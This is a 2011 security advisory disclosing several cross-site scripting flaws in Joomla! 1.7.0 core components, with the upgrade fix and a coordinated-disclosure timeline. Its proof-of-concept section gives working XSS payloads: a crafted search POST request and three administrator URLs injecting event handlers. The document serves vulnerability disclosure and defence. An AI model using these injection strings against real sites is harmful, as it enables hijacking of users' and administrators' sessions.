Wednesday, September 28, 2011

Joomla! 1.7.0 | Multiple Cross Site Scripting (XSS) Vulnerabilities




1. OVERVIEW

Joomla! 1.7.0 (stable version) is vulnerable to multiple Cross Site Scripting issues.


2. BACKGROUND

Joomla is a free and open source content management system (CMS) for publishing content on the World Wide Web and intranets. It comprises a model–view–controller (MVC) Web application framework that can also be used independently.
Joomla is written in PHP, uses object-oriented programming (OOP) techniques and software design patterns, stores data in a MySQL database, and includes features such as page caching, RSS feeds, printable versions of pages, news flashes, blogs, polls, search, and support for language internationalization.


3. VULNERABILITY DESCRIPTION

Several parameters (searchword, extension, asset, author ) in Joomla! Core components are not properly sanitized upon submission to the /index.php url, which allows attacker to conduct Cross Site Scripting attack. This may allow an attacker to create a specially crafted URL that would execute arbitrary script code in a victim's browser.


4. VERSION AFFECTED

1.7.0 <=


5. PROOF-OF-CONCEPT/EXPLOIT


parameter: searchword, component: com_search (Browser: IE, Konqueror)
=======================================================
N.B. Our previous reported issue of "searchword" parameter XSS was not fixed completely.


[REQUEST]
POST /joomla17_noseo/index.php HTTP/1.1
Host: localhost
Accept: */*
Accept-Language: en
User-Agent: MSIE 8.0
Connection: close
Referer: http://localhost/joomla17_noseo

Content-Type: application/x-www-form-urlencoded
Content-Length: 456


task=search&Itemid=435&searchword=Search';onunload=function(){x=confirm(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,97,32,109,101,115,115,97,103,101,32,102,114,111,109,32,65,100,109,105,110,105,115,116,114,97,116,111,114,33,10,68,111,32,121,111,117,32,119,97,110,116,32,116,111,32,103,111,32,116,111,32,73,110,98,111,120,63));alert(String.fromCharCode(89,111,117,39,118,101,32,103,111,116,32,88,83,83,33));};//xsssssssssss&option=com_search
[/REQUEST]


++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

User Login is required to execute the following XSSes.


Parameter: extension, Component: com_categories
=======================================

http://localhost/joomla17_noseo/administrator/index.php?option=com_categories&extension=com_content%20%22onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22%20x=%22


Parameter: asset , Component: com_media
=================================

http://localhost/joomla17_noseo/administrator/index.php?option=com_media&view=images&tmpl=component&e_name=jform_articletext&asset=1%22%20onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22x=%22&author=


Parameter: author, Component: com_media
=================================

http://localhost/joomla17_noseo/administrator/index.php?option=com_media&view=images&tmpl=component&e_name=jform_articletext&asset=&author=1%22%20onmouseover=%22alert%28/XSS/%29%22style=%22width:3000px!important;height:3000px!important;z-index:999999;position:absolute!important;left:0;top:0;%22x=%22


++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++


6. IMPACT

Attackers can compromise currently logged-in user/administrator session and impersonate arbitrary user actions available under /administrator/ functions.


7. SOLUTION

Upgrade to Joomla! 1.7.1-stable or higher.


8. VENDOR

Joomla! Developer Team
http://www.joomla.org


9. CREDIT

This vulnerability was discovered by Aung Khant, http://yehg.net, YGN Ethical Hacker Group, Myanmar.


10. DISCLOSURE TIME-LINE

2011-07-29: notified vendor
2011-09-26: patched version, 1.7.1-stable, released
2011-09-29: vulnerability disclosed


11. REFERENCES

Original Advisory URL:
http://yehg.net/lab/pr0js/advisories/joomla/core/%5Bjoomla_1.7.0-stable%5D_cross_site_scripting%28XSS%29
Vendor Advisory URLs:
http://developer.joomla.org/security/news/367-20110901-core-xss-vulnerability
http://developer.joomla.org/security/news/368-20110902-core-xss-vulnerability


#yehg [2011-09-29]

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